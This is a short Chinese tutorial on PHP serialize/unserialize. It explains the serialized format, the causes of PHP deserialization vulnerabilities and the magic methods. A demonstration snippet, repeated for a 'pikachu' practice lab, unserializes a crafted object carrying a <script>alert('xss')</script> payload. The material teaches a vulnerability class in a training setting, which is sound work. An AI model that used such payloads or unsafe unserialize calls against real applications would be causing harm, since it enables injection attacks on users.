About PHP Serialize and Unserialize
序列化:把一个对象变成可传输或存储的形式。反之则是反序列化。
<?php
class Foobar{
public $v1 = "1";
protected $v2 = "22";
private $v3 = "333";
}
$s=new Foobar(); //创建一个对象
echo "<pre>";
echo serialize($s); //把这个对象进行序列化
// 序列化后得到的结果是这个样子的:
// O:6:"Foobar":3:{
// s:2:"v1";s:1:"1";
// s:5:"*v2";s:2:"22";
// s:10:"Foobarv3";s:3:"333";
// }
// O: 代表object
// 6: 代表对象名字长度
// Foobar:对象的名称
// 3: 代表对象里面变量数量
// s: 数据类型
// 2: 变量名称的长度
// v1: 变量名称
// s: 数据类型
// 1: 变量值的长度
// "1": 变量值
?>
安全方面,相比php,java的反序列化漏洞更多一些。
php反序列化漏洞成因:
- 输入的反序列化的数据可被用户控制
- 后台不正当地使用了php魔法函数
<?php
class S{
var $test = "pk";
function __destruct(){
echo $this->test;
}
}
$s = <<<PAYLOAD
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
PAYLOAD;
@$unser = unserialize($s);
?>
常见的几个魔法函数:
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 将在序列化之后立即被调用
靶场练习
pikachu
<?php
class S{
var $test = "pk";
function __destruct(){
echo $this->test;
}
}
$s = <<<PAYLOAD
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
PAYLOAD;
@$unser = unserialize($s);
?>